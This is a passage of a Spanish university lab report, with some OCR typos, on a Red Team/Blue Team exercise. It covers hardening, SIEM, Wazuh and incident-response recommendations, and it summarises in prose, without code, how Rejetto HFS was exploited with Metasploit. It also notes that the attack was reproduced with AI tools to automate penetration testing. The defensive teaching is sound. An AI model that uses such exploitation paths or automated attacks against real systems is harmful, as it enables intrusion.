monitoreando e implementando controles de ciberseguridad, realizando hardening, y buscando
prevenir ataques. El equipo de respuesta a incidentes actiia cuando el incidente ya ocurrio.
Investiga para contener ataques especificos, gestiona emergencias de seguridad, realiza analisis
forense y recuperacion. Busca minimizar los dafos tras el incidente.

Center for Internet Security CIS

Como miembro del Blue Team utilizaria el CIS Benchmarks como guia de configuracion
segura para realizar hardening en los sistemas operativos Windows y las aplicaciones que utiliza
la organizacion SecureNova Labs, dichas guias son la referencia técnica mas detallada de acceso

libre disponible, disefiadas para reducir la superficie de ataque.
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Adicionalmente, CIS Controls es un framework que contiene 18 controles de seguridad
priorizados por impacto, que pueden guiar al Blue Team a través de procedimientos que
permiten enfocar los recursos en los controles que mas reducen el riesgo real.

Asi mismo, CIS-CAT Proen, en su version lite gratuita, se utilizaria como la herramienta
de auditoria automatica para evaluar la conformidad de la configuracion de un sistema contra los
Benchmarks y tiene la posibilidad de generar un informe de cumplimiento en base a un
porcentaje de seguridad.

En el contexto del ejercicio, se usaria el Benchmark para sistemas Windows como linea
base, con el objetivo de verificar qué controles fallaron y cuéles deben activarse para evitar que
el ataque realizado por el Red Team se repita. También seria 0til para crear una politica de
seguridad repetible en Windows, redes y servicios criticos, porque CIS ayuda a priorizar
controles de configuracion, minimo privilegio y reduccion de exposicion. En el contexto de los
Blue Team, es una guia practica para convertir recomendaciones generales en ajustes concretos
de seguridad. (CIS Center for Internet Security, 2026).

Herramientas de Contencion de Ataques Informaticos
SIEM

Un SIEM es una plataforma central de visibilidad de seguridad que una organizacion
puede implementar y que combina dos disciplinas, SIM (gestion de informacion) y SEM (gestion
de eventos). Este tipo de sistemas centraliza, correlaciona y analiza registros de multiples fuentes
para detectar comportamientos anémalos o patrones de ataque. Su valor esta en convertir logs
dispersos en alertas ttiles y en una vision unificada de lo que ocurre en la infraestructura. Gémez
(2025) explica que existen muchas funcionalidades que realizan los sistemas SIEM, entre las que
se destaca la recoleccion centralizada de logs, que incluye eventos de firewalls, de IDS/IPS, de

endpoints, de Active Directory, de aplicaciones web, de autenticacion y de sistemas operativos.
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Todo esto en un unico repositorio normalizado con la funcionalidad de correlacionar eventos con
un motor de reglas que cruza los registros de multiples fuentes para detectar patrones de ataque.
Puede generar alertas en tiempo real y notificaciones automaticas ante comportamientos
andémalos con severidad clasificada como critica, alta, media y baja. Incluye paneles de control y
de reportes que pueden mostrar el estado de seguridad y el cumplimiento normativo como PCI-
DSS, ISO 27001, MITRE ATT&AC. Calcula las métricas de los incidentes. Algunos tienen la
capacidad de realizar retencion y busqueda forense como almacenar logs historicos para
investigaciones post-incidente y analizar causa raiz. Pueden realizar inteligencia de amenazas a
través de la integracion de feeds y de indicadores de compromiso IOCs como direcciones IP
maliciosas, hashes y dominios para hacer una correlacion automatica.

Algunas herramientas tipo SIEM con licenciamiento GPL o de cddigo abierto son
Wazuh, Ossim AlienVault, Elastic y Graylog.
Firewall

Un firewall es un conjunto de software que permite bloquear o restringir trafico entre
hosts, segmentos de red o el flujo de datos hacia y desde internet. Puede cortar la comunicacion
con sistemas atacantes y detener la propagacion lateral. Ejemplo de esto es pfsense, un firewall
de codigo abierto basado en FreeBSD, que se puede instalar sobre hardware tipo PC o tipo
apliance. Permite crear reglas de seguridad para entrada y salida de trafico entre lared LAN e
internet (WAN). Cuenta con capacidades para bloquear direcciones IP de forma inmediata,
implementar segmentacién con VLANS y habilitar un sistema de proteccion contra intrusos IPS.
Ante un ataque activo, puede aislar un segmento de red completo o bloquear las conexiones de
comando y control C2 del atacante en segundos, desde la interfaz web de administracion.

(pfsense, 2026).
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IDS/IPS

Son sistemas de deteccion y proteccion contra intrusiones que permiten automatizar las
defensas para contrarrestar ataques. Suricata (2026) es una herramienta de cddigo abierto para
deteccion de intrusos y monitoreo de trafico de red. Es un software tipo IDS que se puede
configurar en modo IPS para bloquear y descartar paquetes maliciosos en tiempo real. Tiene la
capacidad de inspeccionar trafico en las capas de red, de transporte y de aplicacion, puede aplicar
reglas de firmas ante amenazas emergentes y puede ejecutar descarte de paquetes automatico
ante conexiones de Meterpreter, shells inversos y exploits conocidos.
Wazuh

Como se mencion6 anteriormente, Wazuh es una plataforma SIEM (Security Information
and Event Management) orientada al monitoreo, correlacion y analisis de eventos de seguridad
dentro de infraestructuras tecnoldgicas. Su arquitectura normalmente se implementa sobre tres
componentes principales distribuidos en servidores independientes. El servidor manager o server,
encargado de administrar los agentes y procesar los eventos. El indexador, responsable del
almacenamiento e indexacion de grandes volumenes de registros. El dashboard, que proporciona
la interfaz grafica web para la visualizacion, anélisis y administracion centralizada de alertas e
incidentes de seguridad. El funcionamiento del sistema se complementa mediante agentes
instalados sobre los equipos finales, servidores, dispositivos de red que se desean monitorear.
Estos agentes recopilan informacion relacionada con eventos del sistema operativo, registros de
seguridad, integridad de archivos, actividad de procesos, conexiones de red, autenticacion de
usuarios y multiples indicadores de compromiso. Posteriormente, esta informacion es enviada al
servidor central para su analisis y correlacion. Uno de los componentes mas relevantes de Wazuh
dentro de las tareas de respuesta a incidentes es el modulo denominado Active Response o de

respuesta activa. Este mecanismo permite que el sistema no se limite inicamente a la deteccion
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pasiva de amenazas. También pueda ejecutar acciones automaticas de contencion y mitigacion
cuando se cumplen determinadas condiciones o reglas de seguridad previamente configuradas. El
modulo de respuesta activa funciona a partir de la generacion de alertas especificas asociadas a
eventos sospechosos o maliciosos detectados por el SIEM. Cuando una regla de seguridad
alcanza un determinado nivel de criticidad, Wazuh puede ejecutar automaticamente scripts o
acciones correctivas directamente sobre el agente afectado, reduciendo significativamente el
tiempo de reaccion frente a incidentes de seguridad. Entre las acciones automaticas que puede
ejecutar este modulo se encuentra el bloqueo de direcciones IP mediante el firewall local del
sistema, la finalizacion de procesos maliciosos detectados en ejecucion, el aislamiento o puesta
en cuarentena de archivos sospechosos, la deshabilitacion temporal de cuentas comprometidas, el
bloqueo de conexiones remotas no autorizadas y la modificacion dinamica de reglas de seguridad

en el host monitoreado. (Wazuh, 2026).
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Evidencias de Sustentacion
En cumplimiento de los requisitos de la Etapa 5 del Seminario Especializado, se presenta
el video de sustentacion disponible en el siguiente enlace:
Video de sustentacion del informe final:

https://www.youtube.com/watch?v=2U-30YvYGyM
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Conclusiones

En este laboratorio se evidencia de forma practica como una vulnerabilidad conocida
presente en el software Rejetto HTTP File Server (HFS) puede ser identificada y explotada
exitosamente por el equipo de Red Team. Aprovechando las fallas de seguridad no corregidas en
la aplicacion, se logra evadir los controles basicos del entorno y obtener acceso remoto no
autorizado sobre la maquina objetivo. Para llevar a cabo este proceso, se utilizan herramientas
estandarizadas para pruebas de penetracion como Metasploit, el cual permite gestionar los
modulos de explotacion y Meterpreter, una consola avanzada que facilita la interaccion con el
sistema comprometido. En la fase de respuesta inicial del Blue Team, se prioriza la contencion
sin apagar el sistema comprometido, preservando asi evidencia volatil relevante almacenada en
memoria RAM. En este caso se aplican principios basicos de respuesta a incidentes y andlisis
forense digital. Se utilizan herramientas como netstat, tasklist y TCPView para identificar
conexiones sospechosas, procesos maliciosos y binarios ejecutados desde directorios temporales.
El analisis de los logs del servidor HFS permiti6 reconstruir la cadena de ataque y confirmar la
explotacidon remota mediante inyeccion de comandos y descarga de payloads maliciosos. Esto
demuestra que los registros de eventos y logs de aplicaciones constituyen una fuente
extremadamente Util de evidencia técnica durante una investigacion forense de ciberseguridad.
La desconexion inmediata del HOST-A de la red resulta una medida efectiva de contencion, ya
que evita la propagacion lateral, la persistencia del atacante y posibles procesos de exfiltracion
de informacion. Adicionalmente, la adquisicion forense de la memoria RAM mediante la
herramienta WinPmem y el célculo del valor hash SHA-256 constituyen pasos fundamentales
dentro de los procedimientos estandarizados para la preservacion de evidencia digital. La
memoria volatil contiene informacion transitoria de gran relevancia que se pierde al apagar el

equipo. La captura adecuada es indispensable para no alterar los datos originales. La generacion
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del hash SHA-256 permite obtener una huella digital inica del archivo de memoria adquirido, lo
que garantiza su integridad. Esto permite demostrar que la evidencia no ha sido modificada,
alterada o manipulada desde el momento de su captura. En conjunto, estas practicas aseguran la
validez técnica y confiabilidad de la informacion recopilada, requisito indispensable para que los
resultados sean aceptados en el marco de investigaciones de seguridad o posibles procesos
legales. En este laboratorio se demuestra que la seguridad defensiva no depende inicamente de
las herramientas, sino de procedimientos coordinados entre deteccion, contencion, analisis y
recuperacion. Se presentan medidas de hardenizacidon apropiadas que apuntan a reducir la
superficie de ataque. Estdndares como CIS Benchmarks y CIS Controls proporcionan una
metodologia estructurada y priorizada que puede fortalecer la postura de seguridad de una
organizacion, facilitando la implementacion de configuraciones seguras y controles medibles.

El laboratorio confirma que los ataques modernos combinan explotacion de
vulnerabilidades, ejecucion remota, persistencia y movimiento lateral. Las organizaciones deben
adoptar un enfoque de defensa en profundidad basado en monitoreo continuo, segmentacion,
gestion de vulnerabilidades, automatizacion de alertas y capacidades de respuesta a incidentes.
La reproduccion del mismo ataque con inteligencia artificial basada en Ollama y Claude code,
demuestra que se puede lograr la automatizacion de los procedimientos en pruebas de

penetracion desde el punto de vista del Red Team.
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Recomendaciones

Se recomienda realizar una revision de los espacios fisicos de la empresa con el fin de
verificar si un actor malicioso tiene la capacidad de acceder a las instalaciones y realizar
conexiones a la red interna, para posteriormente lanzar ataques desde la misma.

Se recomienda dejar de utilizar los sistemas operativos Windows 7, ya que el fabricante
ha dejado de emitir actualizaciones de seguridad para este sistema operativo, y el software ha
llegado al final del ciclo de vida.

Se recomienda no utilizar el software Rejetto HFS version 2.3 0 2.4 ya que es
completamente vulnerable. Si se decide que dicho software en necesario para la organizacion, se
debe usar la version 3, la cual solo se deja instalar en sistemas Windows 10y 11 o Windows
Server 2019, Server 2022 y server 2025.

A nivel general se recomienda mantener sistemas operativos, aplicaciones y servicios
siempre actualizados con los ultimos parches de seguridad para cerrar vulnerabilidades
conocidas. Restringir accesos administrativos otorgando permisos solo cuando sea estrictamente
necesario. Dividir la infraestructura en zonas seguras para limitar el movimiento lateral de un
atacante. Implementar autenticacion multi factor, exigir contrasefias complejas con rotacion
periodica. Implementar un sistema SIEM para correlacionar eventos y detectar anomalias en
tiempo real.

Particularmente el uso de Windows 7 combinado con un escenario de movimiento lateral
activo incrementa criticamente el nivel de riesgo en el caso de SecureNova Labs. Al ser un
sistema operativo sin soporte oficial, carece de mitigaciones modernas contra vulnerabilidades
criticas del protocolo SMB y de credenciales en memoria. Las acciones inmediatas y defensas
técnicas adaptadas estrictamente a Windows 7 para contener el movimiento lateral son el

aislamiento de red del HOST-A desconectando fisicamente el cable de red o deshabilitando la
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interfaz de red para frenar el escaneo y la propagacion a otros equipos. Bloquear puertos criticos
aplicando reglas en el firewall de Windows para el trafico entrante y saliente en los puertos 445
(SMB) y 139 (NetBIOS) desde y hacia otras estaciones de trabajo. Cerrar los procesos de
gjecucion remota buscando y terminando instancias sospechosas de cmd.exe o powershell.exe,
que tengan como proceso padre a psexesvc.exe o wmiprvse.exe. Realizar una configuracion de
seguridad especifica para Windows 7 con el fin de mitigar el movimiento lateral en este sistema
operativo. Aplicar cambios de configuracion para deshabilitar SMBv1 de forma inmediata e
instalar el parche KB2871997. Configurar el registro para deshabilitar el almacenamiento de
contrasefias en texto plano en el proveedor de soporte de seguridad WDigest. Restringir cuentas
locales por defecto, ya que Windows 7 permite que un administrador local acceda a los recursos
compartidos de red de otra maquina con las mismas credenciales, también conocido como ataque
Pass-the-Hash. Activar el filtro de tokens de cuenta local mediante el registro. Desactivar el
registro remoto y el WMI Remoto. Restringir las conexiones de red hacia el servicio WMI, que
son las vias principales para ejecutar comandos a distancia.

Se recomienda establecer un programa continuo y planificado de ejercicios coordinados
entre equipos Red Team y Blue Team, con una frecuencia semestral o anual, ajustada segln la
criticidad de los activos y los cambios en la infraestructura. Esta practica debe concebirse no
como una actividad aislada, sino como un mecanismo sistematico para evaluar, fortalecer y

madurar la postura de seguridad de la organizacion.
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